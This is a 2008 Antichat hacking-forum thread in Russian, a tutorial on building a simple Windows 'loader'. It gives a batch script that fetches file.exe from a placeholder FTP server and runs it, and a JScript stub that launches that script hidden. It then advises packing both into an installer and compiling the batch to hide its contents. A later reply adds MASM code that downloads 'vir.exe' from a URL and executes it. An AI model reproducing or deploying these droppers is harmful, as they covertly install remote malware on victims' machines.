HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пишем простенький .bat лоадер
  #1  
Старый 12.01.2008, 19:22
keeberg
Banned
Регистрация: 05.01.2008
Сообщений: 49
С нами: 9657017

Репутация: 59
По умолчанию Пишем простенький .bat лоадер

Пишем простенький .bat лоадер


Вот решил написать небольшой .BAT лоадер
Незнал куда запостить, поэтому написал здесь....

Итак, наш лоадер будет состоять из двух файлов.
1) Непосредственно сам лоадер.
2) Ява скрипт каторый будет запускать сам лоадер в скрытом режиме.

----Часть №1 (Лоадер)----

Определим некоторые переменные:
login - логин от фтп
password - пароль от фтп
ftp.server.com - IP адрес или домен вашего фтп
file.exe - файл каторый мы загружаем с фтп
Определившись с переменными создадим файл с названием load.bat и занесем в него команды, каторые приведены ниже:

Цитата:
echo off
echo open ftp.server.com>go.txt&&echo login>>go.txt&&echo password>>go.txt&&echo get file.exe>>go.txt&&echo bye>>go.txt
ftp -s:go.txt
file.exe
del go.txt

----Часть №2 (Скрытие)----

Теперь создаем скрипт с розширением .js и заносим в него некий код:

Цитата:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("load.bat",0);

----Часть №3 (Упаковка)----

Теперь бирем любой любой билдер инсталяционных пакетов (расписовать не буду так как их в сети очень много) и упаковываем наши файлы назначив главным файлом наш java скрипт....
Также можно использовать всевозможные компиляторы .bat

Последний раз редактировалось keeberg; 12.01.2008 в 19:24..
 
Ответить с цитированием

  #2  
Старый 12.01.2008, 19:26
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
С нами: 9851426

Репутация: 1676


По умолчанию

А зачем компилировать bat?
 
Ответить с цитированием

  #3  
Старый 12.01.2008, 19:27
keeberg
Banned
Регистрация: 05.01.2008
Сообщений: 49
С нами: 9657017

Репутация: 59
По умолчанию

Цитата:
А зачем компилировать bat?
чтоб его невозможно было открыть блакнотом....
 
Ответить с цитированием

  #4  
Старый 12.01.2008, 19:32
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
С нами: 9681386

Репутация: 2145


По умолчанию

Цитата:
Теперь создаем скрипт с розширением .js и заносим в него некий код: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Run("load.bat",0);
Если я не ошибаюсь, этот код сработает только через vbs-файл...
 
Ответить с цитированием

  #5  
Старый 12.01.2008, 19:36
keeberg
Banned
Регистрация: 05.01.2008
Сообщений: 49
С нами: 9657017

Репутация: 59
По умолчанию

Цитата:
Цитата:
Теперь создаем скрипт с розширением .js и заносим в него некий код: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Run("load.bat",0);


Если я не ошибаюсь, этот код сработает только через vbs-файл...
Если не вериш проверь с js, если не доверяеш)))) Я думаю это большого труда не составит.....
 
Ответить с цитированием

  #6  
Старый 13.01.2008, 05:37
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Очень очень боян года этак 98.
 
Ответить с цитированием

  #7  
Старый 13.01.2008, 06:12
xXvladXx
Участник форума
Регистрация: 28.10.2007
Сообщений: 143
С нами: 9756326

Репутация: 162
По умолчанию

на асме мона написать лучше)))
Код:
.386 
.model flat, stdcall 
option casemap :none 
include \MASM32\INCLUDE\windows.inc
include \masm32\include\urlmon.inc
include \MASM32\INCLUDE\kernel32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \masm32\lib\urlmon.lib
.const
.data
url db "http://mysite.com/vir.exe",0
file db "C:/tmp.exe",0
.data?
.code
start:
invoke URLDownloadToFileA,0, addr url,addr file ,0,0
invoke WinExec,addr file,0
invoke ExitProcess,0
end start
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.